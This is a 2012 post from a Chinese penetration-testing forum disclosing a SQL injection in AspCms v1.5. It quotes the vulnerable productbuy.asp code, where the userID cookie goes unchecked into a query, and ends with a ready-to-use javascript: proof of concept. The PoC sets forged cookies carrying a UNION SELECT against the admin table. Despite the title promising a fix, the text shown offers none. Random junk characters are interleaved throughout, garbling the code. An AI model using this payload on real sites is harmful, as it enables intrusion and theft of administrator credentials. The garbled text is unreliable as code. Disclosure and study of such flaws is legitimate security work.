中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
# d; w+ B: l7 j* ?9 t$ k9 a/ D; A也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
& ~! K/ ]% a* Q- `5 g+ U废话不多说,看代码:3 V2 w% X+ p0 @" x
% E" X. p3 R: G/ Y  k; @2 j2 M% ?0 s& H
<%# I( Q7 A4 O7 V" t" L
8 R( g# [' P7 }. [* T2 f& x+ x! I
if action = "buy" then# c# V; P. K' {& s! S

) ?* n+ {4 h3 K$ `        addOrder()
: }6 a. Q& Y! w* C8 v! s. r" b
% |; U" k# X+ b! p) Gelse
( j! H; {2 r" L0 \% f, ?- j' E& E8 \& k2 E/ j, Y
        echoContent()2 z: V+ w: ?: X6 G1 n( r

( s6 U7 j! u+ O0 r5 vend if& r1 C& a/ x! k4 W" ?# p' N$ N( Z; ]
+ M' c  p4 j7 ?  G/ U" S% M  f$ O

! F/ [- I4 S  a: j, b' _( e$ p8 }3 v
" p( g6 g- F& _- U2 Q/ E  t8 X……略过+ L7 R) I1 J# E0 H; Q. s6 R
; c' a! b! h- V
* g+ w- e3 {* D* o4 _% [8 W( g9 Q

( _; a9 x% t( y. R$ J0 O* Q6 l9 CSub echoContent()$ S9 ^. f' j8 m
: T5 }) E- J4 U# r/ u
        dim id9 @$ S% o: L- X1 ], B" D7 E
9 _+ h0 a% ?% V
        id=getForm("id","get"). W- R- I3 \* O5 ^* u& A

# S" |/ Y- Y( c+ q, Z* t' @        
4 r+ P: d( {# q5 I4 L& t1 P8 }7 j3 y' w4 O- h
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" + s& G9 ~+ y0 c6 b& a2 U

1 Y( `& b; u) Q9 i' Y        
8 P$ D: ^9 q5 c! h. t
' V3 F6 w2 x, y. T        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- j, W& g" g  G! q' k: ~* @# i& ]3 A& p& O$ F6 S
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct( ?9 B& d6 k( c; U

( U5 E0 a& u$ G/ @9 E        Dim templatePath,tempStr
3 u( @2 _/ ]. W- L! z1 Q9 D5 `( ~8 U
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
/ ?  t7 v9 L2 x7 H
4 h9 [" x/ e; v; W6 d
7 {9 \+ m: ^$ K: ]7 W+ r2 e% }) T7 [- m/ U
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")8 g- ^2 O7 D4 K# c4 ~

% g- C6 |& N% G& y$ [4 J        selectproduct=rsObj(0)
5 k8 Z/ K4 [+ V3 f1 {9 h: x6 v/ L1 y! v
        
# l/ E) e) g% R0 t/ {
1 z! S/ z8 S6 l$ b/ h( N! M        Dim linkman,gender,phone,mobile,email,qq,address,postcode3 H7 k; x5 v" R  L( t6 n* w9 C: ~: R

' Q) A% j' ?( H6 J7 i3 F        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# I, e" r5 _6 h, d1 g/ @$ b: w; ?0 j/ s0 E! m! g% ^
        if rCookie("loginstatus")=1 then  . q1 W. X5 A! ~2 z# T

4 q, s1 D- l. z# O2 l( ^5 M                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
  E: A/ g' }4 g; ^/ c) O3 C. |; z( y0 F6 v, T9 ]0 b
                linkman=rsObj("truename"), }$ Q. _3 |% }' o
" n1 u2 z. S! j0 I( A
                gender=rsObj("gender")
' ?! Q$ W  S. a2 S
6 U' H& G3 c8 [( b- f                phone=rsObj("phone")1 I9 X5 h1 ~: L# x" a1 A

% j# B  {7 {- f  Q* |                mobile=rsObj("mobile")$ r2 ?% G& O$ Y4 E% {/ i3 g; |% m
+ C7 e" X3 z9 H$ s
                email=rsObj("email")
$ q% `: q' u' B0 V& D! s* \# H+ O# d4 [3 {5 j8 }
                qq=rsObj("qq")
6 d8 |, y8 N/ x$ c: V2 [
* c- K0 g4 {2 k6 D: U                address=rsObj("address")
0 |4 ~$ q# t) L2 F0 v  q( k3 H- w! Y# T) }" w( `7 f9 g1 o
                postcode=rsObj("postcode")7 x8 h5 @7 v2 C3 T4 b$ f
& u- Y! c% @7 V. c% m
        else : d$ V4 w! p* E- a/ a2 ]) y
0 `& r# [$ Y+ F& w0 G9 _
                gender=1
' T1 {. F. R8 b- `$ z/ N* a  _
( E8 Z, E- E) o2 f; R4 g        end if
0 w  Y/ i1 j$ I' K; J) M6 g
' B) `( Z3 x  |; c/ o  I        rsObj.close()
+ Y% L7 a" e1 T5 f! z' }7 s
3 c* d$ a/ e7 L! F                ' ]" m* Y& t- G7 N
, x' N- ?' P0 D2 m  n2 P9 u) [
        with templateObj 1 @" ~, A1 P7 X! f  ~. f' ?+ k: |7 A

5 F" j5 _7 H+ Z# ~+ H- F+ P                .content=loadFile(templatePath)        
! D' Y/ U& N/ r" v
! {& V- D" Z! ~! G                .parseHtml()5 F! C- @; D) X5 f9 W, k; o
% g, R1 {- L  `, l
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
# `* R9 B" v# X
2 g5 a$ C6 W& h& O                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                6 r0 D+ a4 G6 `: H  U& g3 j

6 X9 G/ G- R! b" p6 \                .content=replaceStr(.content,"[aspcms:gender]",gender)                2 c( x. d$ ?; `

9 X$ }* ?  N# V+ `/ h2 Y                .content=replaceStr(.content,"[aspcms:phone]",phone)               
- a  u1 H% {. b. T3 y9 v9 P8 G6 F9 b: }9 ~
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
" M7 ]$ i. E# P( G9 T5 I1 V" n! X8 X( U! R' S# m
                .content=replaceStr(.content,"[aspcms:email]",email)                        % {9 ?) |, g2 @2 A" T9 _6 J
2 z% u. k+ L- h6 \6 t8 X
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
; [; y: u( }4 I: k5 }- y
- D( Z2 U, Q3 t3 s, N/ D! n                .content=replaceStr(.content,"[aspcms:address]",address)                        ! V8 w3 r, u) o' Y4 O% `- p! |$ ^

3 o: J5 X  W9 X                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        2 [: p; X, w  a6 A, E- ~
6 f, n9 y5 ?3 D( H; p9 `7 a( x
                .parseCommon()                 " q: \& X% T) }' Q* |7 j* P6 d) J

8 O% S, m  k  [; ~% W  E; N                echo .content
. W0 n+ ?" x# G; z( c, |6 Z. F( `/ `* ^( ?+ G) R
        end with6 C+ C0 D. ]' @+ x( M2 O* U$ I* O

( }6 W) U& f2 y0 r& H" ]" \        set templateobj =nothing : terminateAllObjects$ i- P$ _- X5 ~  y$ p
8 c2 t8 ]% h! @4 v
End Sub3 _) S; M5 A3 a. E6 x. d
漏洞很明显,没啥好说的
( n" Y8 b; N7 Gpoc:
8 }5 Q/ b% S, c! `2 d8 @# Y) h7 B! \, l" t! s& n9 Y
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
. t  @6 T5 W4 R% B( p& y% N7 J
4 S, b( d8 O+ n' C




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2